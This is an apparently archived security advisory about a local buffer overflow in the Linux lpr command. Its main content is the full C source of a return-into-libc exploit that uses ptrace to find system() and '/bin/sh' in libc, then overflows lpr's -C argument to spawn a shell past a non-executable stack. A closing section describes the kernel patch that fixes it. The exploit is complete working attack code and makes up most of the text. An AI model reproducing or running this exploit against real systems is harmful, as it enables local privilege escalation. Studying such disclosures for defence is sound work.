COMMAND

    lpr

SYSTEMS AFFECTED

    Linux

PROBLEM

    Solar  Designer  posted  a  return-into-libc overflow (local only)
    exploit.  This  one is simple,  so it looks  like a good  starting
    point.  Note: it doesn't  contain any assembly code, there's  only
    a NOP opcode, but this one will most likely not be used, it's  for
    the case  when system()  is occasionally  at a  256 byte boundary.
    The exploit  also doesn't  have any  fixed addresses.   Be sure to
    read comments in the exploit before you look at the next one  (see
    xrm on Linux page).

    >-- lpr.c --<

    /*
     * /usr/bin/lpr   buffer   overflow    exploit   for  Linux   with
     * non-executable stack
     * Copyright (c) 1997 by Solar Designer
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <setjmp.h>
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>

    #define SIZE            1200    /* Amount of data to overflow with */
    #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */

    #define ADDR_MASK       0xFF000000

    char buf[SIZE];
    int *ptr;

    int pid, pc, shell, step;
    int started = 0;
    jmp_buf env;

    void handler() {
      started++;
    }

    /* SIGSEGV handler, to search in libc */
    void fault() {
      if (step < 0) {
    /* Change the search direction */
        longjmp(env, 1);
      } else {
    /* The search failed in both directions */
        puts("\"/bin/sh\" not found, bad luck");
        exit(1);
      }
    }

    void error(char *fn) {
      perror(fn);
      if (pid > 0) kill(pid, SIGKILL);
      exit(1);
    }

    void main() {
      signal(SIGUSR1, handler);

    /* Create a child process to trace */
      if ((pid = fork()) < 0) error("fork");

      if (!pid) {
    /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
    /* A loop since the parent may not start tracing immediately */
        while (1) system("");
      }

    /* Wait until the child tells us the next library call will be system() */
      while (!started);

      if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
      if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
      pid = 0;

      printf("system() found at: %08x\n", pc);

    /* Let's hope there's an extra NOP if system() is 256 byte aligned */
      if (!(pc & 0xFF))
      if (*(unsigned char *)--pc != 0x90) pc = 0;

    /* There's no easy workaround for these (except for using another function) */
      if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
        puts("Zero bytes in address, bad luck");
        exit(1);
      }

    /*
     * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
     * in its address. To avoid specifying the actual address that libc is
     * mmap()ed to we search from the address of system() in both directions
     * until a SIGSEGV is generated.
     */
      if (setjmp(env)) step = 1; else step = -1;
      shell = pc;
      signal(SIGSEGV, fault);
      do
        while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
      while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
      signal(SIGSEGV, SIG_DFL);

      printf("\"/bin/sh\" found at: %08x\n", shell);

    /*
     * When returning into system() the stack should look like:
     *                              pointer to "/bin/sh"
     *                              return address placeholder
     * stack pointer ->             pointer to system()
     *
     * The buffer could be filled with this 12 byte pattern, but then we would
     * need to try up to 12 values for the alignment. That's why a 16 byte pattern
     * is used instead:
     *                              pointer to "/bin/sh"
     *                              pointer to "/bin/sh"
     * stack pointer (case 1) ->    pointer to system()
     * stack pointer (case 2) ->    pointer to system()
     *
     * Any of the two stack pointer values will do, and only up to 8 values for
     * the alignment need to be tried.
     */
      memset(buf, 'x', ALIGNMENT);
      ptr = (int *)(buf + ALIGNMENT);
      while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
        *ptr++ = pc; *ptr++ = pc;
        *ptr++ = shell; *ptr++ = shell;
      }
      buf[SIZE - 1] = 0;

      execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
      error("execl");
    }

    >-- lpr.c --<

SOLUTION

    You can find  the fixed version  of my non-executable  stack Linux
    kernel patch at:

        http://www.false.com/security/linux-stack/

    The problem is fixed by changing the address shared libraries  are
    mmap()ed at in such a way so it always contains a zero byte.  With
    most vulnerabilities the overflow  is done with an  ASCIIZ string,
    so  this  prevents  the  attacker  from  passing parameters to the
    function, and from filling the buffer with a pattern (requires  to
    know the exact  offset of the  return address).   It also fixes  a
    bug  with  the  binary  header  flag  which allowed local users to
    bypass the patch.

    And  one  more  good  thing:  Solar  added  a symlink-in-/tmp fix,
    originally by Andrew Tridgell. He changed it to prevent from using
    hard links too,  by simply not  allowing non-root users  to create
    hard links to files they don't own, in +t directories. This  seems
    to be the desired behavior anyway, since otherwise users  couldn't
    remove such links they just created. He also added exploit attempt
    logging, this code is shared with the non-executable stack  stuff,
    and  was  the  reason  to  make  it  a single patch instead of two
    separate ones.  You can enable them separately anyway.